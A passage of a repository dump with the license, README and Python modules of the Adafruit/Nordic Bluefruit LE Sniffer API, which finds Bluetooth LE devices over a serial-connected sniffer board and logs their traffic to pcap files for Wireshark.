    "content": "All files in this package is released under the license below, except the \nWireshark dissector source files packet-nordic_ble.c and packet-btle.c.\nThe Wireshark dissector source files are released under the \nGNU General Public License as published by the Free Software Foundation; \neither version 2 of the License, or (at your option) any later version.\n=\n\nCopyright (c) 2014, Nordic Semiconductor ASA\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n "
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/README.md",
    "content": "# Python API for Bluefruit LE Sniffer \n\nThis repository contains the Python API for Adafruit's Bluefruit LE Sniffer, and our easy to use API wrapper.\n\nIt has been tested on the following platforms using Python 2.7:\n\n- OSX 10.10\n- Windows 7 x64\n- Ubuntu 14.04\n\n## Related Links\n\nBluefruit LE Sniffer product page: https://www.adafruit.com/product/2269\nBluefruit LE Sniffer Learning Guide: https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-sniffer/introduction\n\n# Sniffer Python Wrapper\n\nRunning sniffer.py in this folder on the Bluefruit LE Friend Sniffer Edition board will cause the device to scan for Bluetooth LE devices in range, and log any data from the selected device to a libpcap file (in `logs/capture.pcap`) that can be opened in Wireshark.\n\nThe current example does not enable live streaming of data directly into Wireshark via named pipes since this would require a pre-compiled utility for each platform, but it should be possible to implement this on your platform if required.\n\n\n## Using sniffer.py\n\nTo use sniffer.py, simply specify the serial port where the sniffer can be found (ex. `COM14` on Windows, `/dev/tty.usbmodem1412311` on OS X, `/dev/ttyACM0` or Linux, etc.):\n\n```\npython sniffer.py /dev/tty.usbmodem1412311\n```\n\n**Note:** You will need to run python with `sudo` on Linux to allow the log file to be created, so `sudo python sniffer.py /dev/ttyACM0`, etc..\n\nThis will create a new log file and start scanning for BLE devices, which should result in the following menu:\n\n```\n$ python sniffer.py /dev/tty.usbmodem1412311\nLogging data to logs/capture.pcap\nConnecting to sniffer on /dev/tty.usbmodem1412311\nScanning for BLE devices (5s) ...\nFound 2 BLE devices:\n\n  [1] \"\" (14:99:E2:05:29:CF, RSSI = -85)\n  [2] \"\" (E7:0C:E1:BE:87:66, RSSI = -49)\n\nSelect a device to sniff, or '0' to scan again\n> \n```\n\nSimply select the device you wish to sniff, and it will start logging traffic from the specified device.\n\nType **CTRL+C** to stop sniffing and quit the application, closing the libpcap log file.\n\n**NOTE:** You may need to remove the sniffer and re-insert it before starting a new session if you see any unusual error messages running sniffer.py.\n\n## Requirements\n\nThis Python script was written and tested on **Python 2.7.6**, and will require that both Python 2.7 and **pySerial** are installed on your system.\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/CaptureFiles.py",
    "content": "from __future__ import absolute_import\nimport time\nimport os\nimport logging\nfrom . import Logger\n\nLINKTYPE_BLUETOOTH_LE_LL = 251\nLINKTYPE_NORDIC_BLE = 157\n\nMAGIC_NUMBER = 0xa1b2c3d4\nVERSION_MAJOR = 2\nVERSION_MINOR = 4\nTHISZONE = 0\nSIGFIGS = 0\nSNAPLEN = 0xFFFF\nNETWORK = LINKTYPE_NORDIC_BLE\n\n\nglobalHeaderString = [\n    ((MAGIC_NUMBER >> 0) & 0xFF),\n    ((MAGIC_NUMBER >> 8) & 0xFF),\n    ((MAGIC_NUMBER >> 16) & 0xFF),\n    ((MAGIC_NUMBER >> 24) & 0xFF),\n    ((VERSION_MAJOR >> 0) & 0xFF),\n    ((VERSION_MAJOR >> 8) & 0xFF),\n    ((VERSION_MINOR >> 0) & 0xFF),\n    ((VERSION_MINOR >> 8) & 0xFF),\n    ((THISZONE >> 0) & 0xFF),\n    ((THISZONE >> 8) & 0xFF),\n    ((THISZONE >> 16) & 0xFF),\n    ((THISZONE >> 24) & 0xFF),\n    ((SIGFIGS >> 0) & 0xFF),\n    ((SIGFIGS >> 8) & 0xFF),\n    ((SIGFIGS >> 16) & 0xFF),\n    ((SIGFIGS >> 24) & 0xFF),\n    ((SNAPLEN >> 0) & 0xFF),\n    ((SNAPLEN >> 8) & 0xFF),\n    ((SNAPLEN >> 16) & 0xFF),\n    ((SNAPLEN >> 24) & 0xFF),\n    ((NETWORK >> 0) & 0xFF),\n    ((NETWORK >> 8) & 0xFF),\n    ((NETWORK >> 16) & 0xFF),\n    ((NETWORK >> 24) & 0xFF)\n]\n\ncaptureFilePath = os.path.join(Logger.logFilePath, \"capture.pcap\")\n\n\nclass CaptureFileHandler:\n    def __init__(self, clear=False):\n        self.filename = captureFilePath\n        self.backupFilename = self.filename+\".1\"\n        if not os.path.isfile(self.filename):\n            self.startNewFile()\n        elif os.path.getsize(self.filename) > 20000000:\n            self.doRollover()\n        if clear:\n            # clear file\n            self.startNewFile()\n\n    def startNewFile(self):\n        with open(self.filename, \"wb\") as f:\n            f.write(bytearray(globalHeaderString))\n\n    def doRollover(self):\n        try:\n            os.remove(self.backupFilename)\n        except:  # noqa: E722\n            logging.exception(\"capture file rollover remove backup failed\")\n        try:\n            os.rename(self.filename, self.backupFilename)\n            self.startNewFile()\n        except:  # noqa: E722\n            logging.exception(\"capture file rollover failed\")\n\n    def readLine(self, lineNum):\n        line = \"\"\n        with open(self.filename, \"r\") as f:\n            f.seek(lineNum)\n            line = f.readline()\n        return line\n\n    def readAll(self):\n        text = \"\"\n        with open(self.filename, \"r\") as f:\n            text = f.read()\n        return text\n\n    def writeString(self, msgString):\n        with open(self.filename, \"ab\") as f:\n            f.write(msgString)\n\n    def writeList(self, msgList):\n        self.writeString(bytearray(msgList))\n\n    def writePacketList(self, packetList):\n        self.writeList(self.makePacketHeader(len(packetList)) + packetList)\n\n    def writePacket(self, packet):\n        self.writePacketList([packet.boardId] + packet.getList())\n\n    def makePacketHeader(self, length):\n\n        timeNow = time.time()\n\n        TS_SEC = int(timeNow)\n        TS_USEC = int((timeNow-TS_SEC)*1000000)\n        INCL_LENGTH = length\n        ORIG_LENGTH = length\n\n        headerString = [\n            ((TS_SEC >> 0) & 0xFF),\n            ((TS_SEC >> 8) & 0xFF),\n            ((TS_SEC >> 16) & 0xFF),\n            ((TS_SEC >> 24) & 0xFF),\n            ((TS_USEC >> 0) & 0xFF),\n            ((TS_USEC >> 8) & 0xFF),\n            ((TS_USEC >> 16) & 0xFF),\n            ((TS_USEC >> 24) & 0xFF),\n            ((INCL_LENGTH >> 0) & 0xFF),\n            ((INCL_LENGTH >> 8) & 0xFF),\n            ((INCL_LENGTH >> 16) & 0xFF),\n            ((INCL_LENGTH >> 24) & 0xFF),\n            ((ORIG_LENGTH >> 0) & 0xFF),\n            ((ORIG_LENGTH >> 8) & 0xFF),\n            ((ORIG_LENGTH >> 16) & 0xFF),\n            ((ORIG_LENGTH >> 24) & 0xFF)\n        ]\n        return headerString\n\n\ndef toList(myString):\n    myList = []\n    for c in myString:\n        myList += [ord(c)]\n    return myList\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Devices.py",
    "content": "from __future__ import absolute_import\nfrom . import Notifications\nimport logging\n\n\nclass DeviceList(Notifications.Notifier):\n    def __init__(self, *args, **kwargs):\n        Notifications.Notifier.__init__(self, *args, **kwargs)\n        logging.info(\"args: \" + str(args))\n        logging.info(\"kwargs: \" + str(kwargs))\n        self.devices = []\n\n    def __len__(self):\n        return len(self.devices)\n\n    def __repr__(self):\n        return \"Sniffer Device List: \"+str(self.asList())\n\n    def clear(self):\n        self.devices = []\n\n    def appendOrUpdate(self, newDevice):\n        existingDevice = self.find(newDevice)\n\n        # logging.info(\"appendOrUpdate\")\n\n        # Add device to the list of devices being displayed, but only if CRC is OK\n        if existingDevice is None:\n            self.append(newDevice)\n        else:\n            updated = False\n            if (newDevice.name != \"\") and (existingDevice.name == \"\"):\n                existingDevice.name = newDevice.name\n                updated = True\n\n            if (newDevice.RSSI < (newDevice.RSSI - 5)) or (existingDevice.RSSI > (newDevice.RSSI+2)):  # noqa: E501\n                existingDevice.RSSI = newDevice.RSSI\n                updated = True\n\n            if updated:\n                self.notify(\"DEVICE_UPDATED\", existingDevice)\n                # self.updateDeviceDisplay()\n\n    def append(self, device):\n        self.devices.append(device)\n        self.notify(\"DEVICE_ADDED\", device)\n\n    def find(self, id):\n        # logging.info(\"find type: %s\" % str(id.__class__.__name__))\n        if type(id) == list:\n            for dev in self.devices:\n                if dev.address == id:\n                    return dev\n        elif type(id) == int:\n            return self.devices[id]\n        elif type(id) == str:\n            for dev in self.devices:\n                if dev.name in [id, '\"'+id+'\"']:\n                    return dev\n        elif id.__class__.__name__ == \"Device\":\n            # logging.info(\"find Device\")\n            return self.find(id.address)\n        return None\n\n    def remove(self, id):\n        if type(id) == list:  # address\n            device = self.devices.pop(self.devices.index(self.find(id)))\n        elif type(id) == int:\n            device = self.devices.pop(id)\n        elif type(id) == Device:\n            device = self.devices.pop(self.devices.index(self.find(id.address)))\n        self.notify(\"DEVICE_REMOVED\", device)\n        # self.updateDeviceDisplay()\n\n    # def getSelected(self):\n        # for dev in self.devices:\n        # if dev.selected:\n        # return dev\n        # if len(self.devices) ==  1:\n        # self.devices[0].selected = True\n        # else:\n        # return None\n\n    def index(self, device):\n        index = 0\n        for dev in self.devices:\n            if dev.address == device.address:\n                return index\n            index += 1\n        return None\n\n    # def setSelected(self, device):\n        # if device in self.devices:\n        # for dev in self.devices:\n        # dev.selected = False\n        # device.selected = True\n        # self.notify(\"DEVICE_SELECTED\", device)\n\n    def setFollowed(self, device):\n        if device in self.devices:\n            for dev in self.devices:\n                dev.followed = False\n            device.followed = True\n        self.notify(\"DEVICE_FOLLOWED\", device)\n\n    # def incrementSelected(self, step = 1):\n        # if len(self.devices) > 0:\n        # self.setSelected(self.find((self.index(self.getSelected())+step)%len(self.devices)))\n\n    def asList(self):\n        return self.devices[:]\n\n\nclass Device:\n    def __init__(self, address, name, RSSI, txAdd=1):\n        self.address = address\n        self.txAdd = txAdd\n        self.name = name\n        self.RSSI = RSSI\n        # self.selected = selected\n        self.followed = False"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Exceptions.py",
    "content": "class SnifferTimeout(Exception):\n    pass\n\n\nclass UARTPacketError(Exception):\n    pass\n\n\nclass InvalidPacketException(Exception):\n    pass\n\n# Internal Use\n\n\nclass SnifferWatchDogTimeout(SnifferTimeout):\n    pass\n\n# Internal Use\n\n\nclass ExitCodeException(Exception):\n    pass\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Logger.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import print_function\nimport time\nimport os\nimport logging\nimport traceback\nimport threading\nimport logging.handlers as logHandlers\nfrom six.moves import range\n\n#################################################################\n# This file contains the logger. To log a line, simply write     #\n# 'logging.[level](\"whatever you want to log\")'                    #\n# [level] is one of {info, debug, warning, error, critical,        #\n#     exception}                                                    #\n# See python logging documentation                                #\n# As long as Logger.initLogger has been called beforehand, this    #\n# will result in the line being appended to the log file        #\n#################################################################\n\ntry:\n    logFilePath = os.path.join(\n        os.getenv('appdata'), 'Nordic Semiconductor', 'Sniffer', 'logs')\nexcept AttributeError:\n    logFilePath = \"logs\"\n\nlogFileName = os.path.join(logFilePath, 'log.txt')\n\nlogHandler = None\nlogFlusher = None\n\nmyMaxBytes = 1000000\n\n# Ensure that the directory we are writing the log file to exists.\n# Create our logfile, and write the timestamp in the first line.\n\n\ndef initLogger():\n    try:\n        # First, make sure that the directory exists\n        if not os.path.isdir(logFilePath):\n            os.makedirs(logFilePath)\n\n        # If the file does not exist, create it, and save the timestamp\n        if not os.path.isfile(logFileName):\n            with open(logFileName, \"wb\") as f:\n                f.write('{0}{1}'.format(time.time(), os.linesep).encode())\n\n        global logHandler\n        global logFlusher\n\n        logHandler = MyRotatingFileHandler(\n            logFileName, mode='a', maxBytes=myMaxBytes, backupCount=3)\n        logFormatter = logging.Formatter(\n            '%(asctime)s %(levelname)s: %(message)s', datefmt='%d-%b-%Y %H:%M:%S (%z)')\n        logHandler.setFormatter(logFormatter)\n        logger = logging.getLogger()\n        logger.addHandler(logHandler)\n        logger.setLevel(logging.INFO)\n\n        logFlusher = LogFlusher(logHandler)\n    except:  # noqa: 722\n        print(\"LOGGING FAILED\")\n        print(traceback.format_exc())\n        raise\n\n\ndef shutdownLogger():\n    logging.shutdown()\n\n# Clear the log (typically after it has been sent on email)\n\n\ndef clearLog():\n    try:\n        logHandler.doRollover()\n    except:  # noqa: 722\n        print(\"LOGGING FAILED\")\n        raise\n\n\n# Returns the timestamp residing on the first line of the logfile.\n# Used for checking the time of creation\ndef getTimestamp():\n    try:\n        with open(logFileName, \"r\") as f:\n            f.seek(0)\n            return f.readline()\n    except:  # noqa: 722\n        print(\"LOGGING FAILED\")\n\n\ndef addTimestamp():\n    try:\n        with open(logFileName, \"a\") as f:\n            f.write(str(time.time()) + os.linesep)\n    except:  # noqa: 722\n        print(\"LOGGING FAILED\")\n# Returns the entire content of the logfile. Used when sending emails\n\n\ndef readAll():\n    try:\n        text = \"\"\n        with open(logFileName, \"r\") as f:\n            text = f.read()\n        return text\n    except:  # noqa: 722\n        print(\"LOGGING FAILED\")\n\n\nclass MyRotatingFileHandler(logHandlers.RotatingFileHandler):\n    def doRollover(self):\n        try:\n            logHandlers.RotatingFileHandler.doRollover(self)\n            addTimestamp()\n            self.maxBytes = myMaxBytes\n        except:  # noqa: 722\n            # There have been permissions issues with the log files.\n            self.maxBytes += int(myMaxBytes/2)\n            # logging.exception(\"log rollover error\")\n\n\nclass LogFlusher(threading.Thread):\n    def __init__(self, logHandler):\n        threading.Thread.__init__(self)\n\n        self.daemon = True\n        self.handler = logHandler\n        self.exit = False\n\n        self.start()\n\n    def run(self):\n        while not self.exit:\n            time.sleep(10)\n            self.doFlush()\n\n    def doFlush(self):\n        self.handler.flush()\n        os.fsync(self.handler.stream.fileno())\n\n    def stop(self):\n        self.exit = True\n\n\nif __name__ == '__main__':\n    initLogger()\n    for i in range(50):\n        logging.info(\"test log no. \"+str(i))\n        print(\"test log no. \", i)\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Notifications.py",
    "content": "from __future__ import absolute_import\nimport threading\n\n\nclass Notification():\n    def __init__(self, key, msg=None):\n        if type(key) is not str:\n            raise TypeError(\"Invalid notification key: \"+str(key))\n        self.key = key\n        self.msg = msg\n\n    def __repr__(self):\n        return \"Notification (key: %s, msg: %s)\" % (str(self.key), str(self.msg))\n\n\nclass Notifier():\n    def __init__(self, callbacks=[]):\n        self.callbacks = {}\n        self.callbackLock = threading.RLock()\n        # logging.info(\"callbacks: \"+  str(callbacks))\n        for callback in callbacks:\n            self.subscribe(*callback)\n\n        # logging.info(self.callbacks)\n\n    def subscribe(self, key, callback):\n        with self.callbackLock:\n            if callback not in self.getCallbacks(key):\n                self.getCallbacks(key).append(callback)\n\n    def getCallbacks(self, key):\n        with self.callbackLock:\n            # logging.info(self.callbacks)\n            if key not in self.callbacks:\n                self.callbacks[key] = []\n            return self.callbacks[key]\n\n    def notify(self, key=None, msg=None, notification=None):\n        # logging.info(self.callbacks)\n        with self.callbackLock:\n            if notification is None:\n                notification = Notification(key, msg)\n\n            for callback in self.getCallbacks(notification.key):\n                callback(notification)\n\n            for callback in self.getCallbacks(\"*\"):\n                callback(notification)\n\n        # logging.info(\"sending notification: %s\" % str(notification))\n\n    def passOnNotification(self, notification):\n        self.notify(notification=notification)\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Packet.py",
    "content": "from __future__ import absolute_import\nfrom . import UART, Exceptions, Notifications\nimport time\nimport logging\nimport os\nimport sys\nimport serial\nfrom six.moves import range\n\nSLIP_START = 0xAB\nSLIP_END = 0xBC\nSLIP_ESC = 0xCD\nSLIP_ESC_START = SLIP_START+1\nSLIP_ESC_END = SLIP_END+1\nSLIP_ESC_ESC = SLIP_ESC+1\n\nREQ_FOLLOW = 0x00\nRESP_FOLLOW = 0x01\nEVENT_DEVICE = 0x02\nREQ_SINGLE_PACKET = 0x03\nRESP_SINGLE_PACKET = 0x04\nEVENT_CONNECT = 0x05\nEVENT_PACKET = 0x06\nREQ_SCAN_CONT = 0x07\nRESP_SCAN_CONT = 0x08\nEVENT_DISCONNECT = 0x09\nEVENT_ERROR = 0x0A\nEVENT_EMPTY_DATA_PACKET = 0x0B\nSET_TEMPORARY_KEY = 0x0C\nPING_REQ = 0x0D\nPING_RESP = 0x0E\nTEST_COMMAND_ID = 0x0F\nTEST_RESULT_ID = 0x10\nUART_TEST_START = 0x11\nUART_DUMMY_PACKET = 0x12\nSWITCH_BAUD_RATE_REQ = 0x13\nSWITCH_BAUD_RATE_RESP = 0x14\nUART_OUT_START = 0x15\nUART_OUT_STOP = 0x16\nSET_ADV_CHANNEL_HOP_SEQ = 0x17\nGO_IDLE = 0xFE\n\nADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E]\n\nSYNCWORD_POS = 0\nHEADER_LEN_POS = 0\nPAYLOAD_LEN_POS = HEADER_LEN_POS+1\nPROTOVER_POS = PAYLOAD_LEN_POS+1\nPACKETCOUNTER_POS = PROTOVER_POS+1\nID_POS = PACKETCOUNTER_POS+2\n\nBLE_HEADER_LEN_POS = ID_POS+1\nFLAGS_POS = BLE_HEADER_LEN_POS+1\nCHANNEL_POS = FLAGS_POS+1\nRSSI_POS = CHANNEL_POS+1\nEVENTCOUNTER_POS = RSSI_POS+1\nTIMESTAMP_POS = EVENTCOUNTER_POS+2\nBLEPACKET_POS = TIMESTAMP_POS+4\nTXADD_POS = BLEPACKET_POS + 4\nTXADD_MSK = 0x40\nPAYLOAD_POS = BLE_HEADER_LEN_POS\n\nHEADER_LENGTH = 6\nBLE_HEADER_LENGTH = 10\nPROTOVER = 1\n\nADV_TYPE_ADV_IND = 0x0\nADV_TYPE_ADV_DIRECT_IND = 0x1\nADV_TYPE_ADV_NONCONN_IND = 0x2\nADV_TYPE_ADV_DISCOVER_IND = 0x6\nADV_TYPE_SCAN_REQ = 0x3\nADV_TYPE_SCAN_RSP = 0x4\nADV_TYPE_CONNECT_REQ = 0x5\n\nVALID_ADV_CHANS = [37, 38, 39]\n\n\nclass PacketReader(Notifications.Notifier):\n    def __init__(self, portnum=None, callbacks=[]):\n        Notifications.Notifier.__init__(self, callbacks)\n        self.portnum = portnum\n        self.exit = False\n        try:\n            self.uart = UART.Uart(portnum)\n        except serial.SerialException as e:\n            logging.exception(\"Error opening UART.\")\n            self.uart = UART.Uart()\n        self.packetCounter = 0\n        self.lastReceivedPacketCounter = 0\n        self.lastReceivedPacket = None\n\n        # self.states = {}\n\n    def setup(self):\n        self.findSerialPort()\n        self.uart.ser.port = self.portnum\n        self.uart.ser.open\n\n    def doExit(self):\n        self.exit = True\n        if self.uart.ser is not None:\n            self.uart.ser.close()\n\n    # This function takes a byte list, encode it in SLIP protocol and return the encoded byte list\n    def encodeToSLIP(self, byteList):\n        tempSLIPBuffer = []\n        tempSLIPBuffer.append(SLIP_START)\n        for i in byteList:\n            if i == SLIP_START:\n                tempSLIPBuffer.append(SLIP_ESC)\n                tempSLIPBuffer.append(SLIP_ESC_START)\n            elif i == SLIP_END:\n                tempSLIPBuffer.append(SLIP_ESC)\n                tempSLIPBuffer.append(SLIP_ESC_END)\n            elif i == SLIP_ESC:\n                tempSLIPBuffer.append(SLIP_ESC)\n                tempSLIPBuffer.append(SLIP_ESC_ESC)\n            else:\n                tempSLIPBuffer.append(i)\n        tempSLIPBuffer.append(SLIP_END)\n        return tempSLIPBuffer\n\n    # This function uses getSerialByte() function to get SLIP encoded bytes from the serial port\n    # and return a decoded byte list\n    # Based on https://github.com/mehdix/pyslip/\n    def decodeFromSLIP(self, timeout=None):\n        dataBuffer = []\n        startOfPacket = False\n        endOfPacket = False\n\n        while not startOfPacket:\n            startOfPacket = (self.getSerialByte(timeout) == SLIP_START)\n\n        while not endOfPacket:\n            serialByte = self.getSerialByte(timeout)\n            if serialByte == SLIP_END:\n                endOfPacket = True\n            elif serialByte == SLIP_ESC:\n                serialByte = self.getSerialByte()\n                if serialByte == SLIP_ESC_START:\n                    dataBuffer.append(SLIP_START)\n                elif serialByte == SLIP_ESC_END:\n                    dataBuffer.append(SLIP_END)\n                elif serialByte == SLIP_ESC_ESC:\n                    dataBuffer.append(SLIP_ESC)\n                else:\n                    raise Exceptions.UARTPacketError(\n                        \"Unexpected character after SLIP_ESC: %d.\" % serialByte)\n            else:\n                dataBuffer.append(serialByte)\n        return dataBuffer\n\n    # This function read byte chuncks from the serial port and return one byte at a time\n    # Based on https://github.com/mehdix/pyslip/\n    def getSerialByte(self, timeout=None):\n        serialByte = self.uart.readByte(timeout)\n        if len(serialByte) != 1:\n            raise Exceptions.SnifferTimeout(\"Packet read timed out.\")\n        return ord(serialByte)\n\n    def handlePacketHistory(self, packet):\n        # Reads and validates packet counter\n        if self.lastReceivedPacket and (\n            packet.packetCounter != (self.lastReceivedPacket.packetCounter+1)) and (\n                self.lastReceivedPacket.packetCounter != 0):\n            logging.info(\"gap in packets, between {} and {}. packet before: {}, packet after: {}\"\n                         .format(\n                             self.lastReceivedPacket.packetCounter,\n                             str(packet.packetCounter),\n                             str(self.lastReceivedPacket.packetList),\n                             str(packet.packetList)\n                         ))\n        self.lastReceivedPacket = packet\n\n    def getPacket(self, timeout=None):\n        packetList = []\n        try:\n            packetList = self.decodeFromSLIP(timeout)\n        except Exceptions.UARTPacketError:\n            logging.exception(\"\")\n            return None\n        else:\n            packet = Packet(packetList)\n            if packet.valid:\n                self.handlePacketHistory(packet)\n            return packet\n\n    def useByteQueue(self, useByteQueue=True):\n        self.uart.useByteQueue = useByteQueue\n\n    def getByteQueue(self):\n        return self.uart.byteQueue\n\n    def sendPacket(self, id, payload, timeout=None):\n        packetList = [HEADER_LENGTH] + [len(payload)] + [PROTOVER] + \\\n            toLittleEndian(self.packetCounter, 2) + [id] + payload\n        pkt = self.encodeToSLIP(packetList)\n        self.packetCounter += 1\n        self.uart.writeList(pkt, timeout)\n\n    def sendScan(self, timeout=None):\n        self.sendPacket(REQ_SCAN_CONT, [], timeout)\n\n    def sendFollow(self, addr, txAdd=1, followOnlyAdvertisements=False, timeout=None):\n        # TxAdd is a single byte (0 or 1) so we just append it to the address.\n        # addr.append(txAdd)\n        self.sendPacket(REQ_FOLLOW, addr+[followOnlyAdvertisements], timeout)\n\n    def sendPingReq(self, timeout=1):\n        self.sendPacket(PING_REQ, [], timeout)\n\n    def sendTK(self, TK, timeout=None):\n        if (len(TK) < 16):\n            TK = [0] * (16-len(TK)) + TK\n        else:\n            TK = TK[:16]\n        self.sendPacket(SET_TEMPORARY_KEY, TK, timeout)\n\n        logging.info(\"Sent key value to sniffer: \"+str(TK))\n        self.notify(\"TK_SENT\", {\"TK\": TK})\n        return TK\n\n    def sendSwitchBaudRate(self, newBaudRate, timeout=None):\n        self.sendPacket(SWITCH_BAUD_RATE_REQ, toLittleEndian(newBaudRate, 4), timeout)\n\n    def switchBaudRate(self, newBaudRate):\n        self.uart.switchBaudRate(newBaudRate)\n\n    def sendHopSequence(self, hopSequence):\n        for chan in hopSequence:\n            if chan not in VALID_ADV_CHANS:\n                raise Exceptions.InvalidAdvChannel(\"%s is not an adv channel\" % str(chan))\n        payload = [len(hopSequence)] + hopSequence + [37]*(3-len(hopSequence))\n        self.sendPacket(SET_ADV_CHANNEL_HOP_SEQ, payload)\n        self.notify(\"NEW_ADV_HOP_SEQ\", {\"hopSequence\": hopSequence})\n\n    def sendGoIdle(self, timeout=None):\n        self.sendPacket(GO_IDLE, [], timeout)\n\n    def findSerialPort(self):\n        foundPort = False\n        iPort = 0  # To avoid COM1 (iPort=0).\n        nTicks = 0\n\n        trials = 10\n        # comports = self.findSeggerComPorts().keys()\n\n        if self.portnum is not None:\n            self.notify(\"INFO_PRESET\")\n        else:\n            self.notify(\"INFO_NO_PRESET\")\n\n        readTimeout = 1\n        iPort = self.portnum if self.portnum is not None else 1\n        while not foundPort and not self.exit:\n\n            try:\n                self.uart.ser.port = iPort\n                try:\n                    self.uart.ser.open()\n                except:\n                    pass\n                self.sendPingReq()\n                startTime = time.time()\n                continueLoop = True\n                packetCounter = 0\n                while continueLoop and (time.time() < (startTime+1)):\n                    packet = self.getPacket(timeout=readTimeout)\n\n                    if packet is None:\n                        continueLoop = False\n                        raise Exception(\"None packet\")\n                    elif packet.id == 0x0E:\n                        continueLoop = False\n                        fwversion = packet.version\n                        self.portnum = self.uart.ser.portstr\n                        self.notify(\"COMPORT_FOUND\", {\"comPort\": self.portnum})\n                        self.fwversion = fwversion\n                        return\n                    else:\n                        packetCounter += 1\n\n                if continueLoop:\n                    raise Exception(\"No packet with correct id. Received \" +\n                                    str(packetCounter)+\" packets.\")\n\n            except Exception as e:\n                if \"The system cannot find the file specified.\" not in str(e):\n                    # logging.exception(\"Error on COM\"+str(iPort+1)+\": \"+str(e))\n                    logging.info(\"Error on port \" + str(iPort) + \". file: \" +\n                                 os.path.basename(sys.exc_info()[2].tb_frame.f_code.co_filename) +\n                                 \", line \" + str(sys.exc_info()[2].tb_lineno) + \": \"+str(e))\n                    # logging.exception(\"error\")\n                    trials = trials + 1\n                    if (trials>9):\n                        self.doExit()   #Try to open the port for some time, if can't just exit\n                try:\n                    if self.uart.ser is not None:\n                        self.uart.ser.close()\n                except:  # noqa: E722\n                    logging.exception(\"could not close UART\")\n\n            if self.portnum is None:\n                if type(iPort) != int:\n                    iPort = 0\n                iPort += 1\n                iPort = (iPort % 256)\n\n            if self.portnum is not None or (iPort % 64) == 0:\n                nTicks += 1\n                self.notify(\"DEVICE_DISCOVERY_TICK\", {\"tickNumber\": nTicks})\n                if readTimeout < 3:\n                    readTimeout += 0.1\n\n            # logging.info(\"iPort: \" +str(iPort))\n            # logging.info(\"self.portnum: \" +str(self.portnum))\n\n            if self.portnum is not None:\n                time.sleep(0.7)\n            else:\n                time.sleep(0.01)\n        return (None, None)\n\n\nclass Packet:\n\n    def __init__(self, packetList):\n        try:\n            if packetList == []:\n                raise Exceptions.InvalidPacketException(\n                    \"packet list not valid: %s\" % str(packetList))\n            self.packetList = packetList\n            self.readStaticHeader(packetList)\n            self.readDynamicHeader(packetList)\n            self.readPayload(packetList)\n\n        except Exceptions.InvalidPacketException as e:\n            logging.error(\"Invalid packet: %s\" % str(e))\n            self.OK = False\n            self.valid = False\n        except:  # noqa: E722\n            logging.exception(\"packet creation error\")\n            logging.info(\"packetList: \" + str(packetList))\n            self.OK = False\n            self.valid = False\n\n    def __repr__(self):\n        return \"UART packet, type: \"+str(self.id)+\", PC: \"+str(self.packetCounter)\n\n    def readStaticHeader(self, packetList):\n        self.headerLength = packetList[HEADER_LEN_POS]\n        self.payloadLength = packetList[PAYLOAD_LEN_POS]\n        self.protover = packetList[PROTOVER_POS]\n\n    def readDynamicHeader(self, packetList):\n        self.header = packetList[0:self.headerLength]\n        if self.headerLength == HEADER_LENGTH:\n            self.packetCounter = parseLittleEndian(\n                packetList[PACKETCOUNTER_POS:PACKETCOUNTER_POS+2])\n            self.id = packetList[ID_POS]\n        else:\n            logging.info(\"incorrect header length: %d\" % self.headerLength)\n\n    def readPayload(self, packetList):\n        self.blePacket = None\n        self.OK = False\n\n        if not self.validatePacketList(packetList):\n            raise Exceptions.InvalidPacketException(\"packet list not valid: %s\" % str(packetList))\n        else:\n            self.valid = True\n\n        self.payload = packetList[PAYLOAD_POS:PAYLOAD_POS+self.payloadLength]\n\n        if self.id == EVENT_PACKET:\n            try:\n                self.bleHeaderLength = packetList[BLE_HEADER_LEN_POS]\n                if self.bleHeaderLength == BLE_HEADER_LENGTH:\n                    self.flags = packetList[FLAGS_POS]\n                    self.readFlags()\n                    self.channel = packetList[CHANNEL_POS]\n                    self.rawRSSI = packetList[RSSI_POS]\n                    self.RSSI = -self.rawRSSI\n                    self.txAdd = packetList[TXADD_POS] & TXADD_MSK\n                    self.eventCounter = parseLittleEndian(\n                        packetList[EVENTCOUNTER_POS:EVENTCOUNTER_POS+2])\n                    self.timestamp = parseLittleEndian(packetList[TIMESTAMP_POS:TIMESTAMP_POS+2])\n                    # self.payload = packetList[13:(4+self.length)]\n                    # The hardware adds a padding byte which isn't sent on air.\n                    # The following removes it.\n                    self.packetList.pop(BLEPACKET_POS+6)\n                    self.payloadLength -= 1\n                    if packetList[PAYLOAD_LEN_POS] > 0:\n                        packetList[PAYLOAD_LEN_POS] -= 1\n\n                if self.OK:\n                    try:\n                        self.blePacket = BlePacket(packetList[BLEPACKET_POS:])\n                    except:  # noqa: E722\n                        logging.exception(\"blePacket error\")\n            except:  # noqa: E722\n                # malformed packet\n                logging.exception(\"packet error\")\n                self.OK = False\n        elif self.id == PING_RESP:\n            self.version = parseLittleEndian(self.packetList[PAYLOAD_POS:PAYLOAD_POS+2])\n        elif self.id == SWITCH_BAUD_RATE_RESP or self.id == 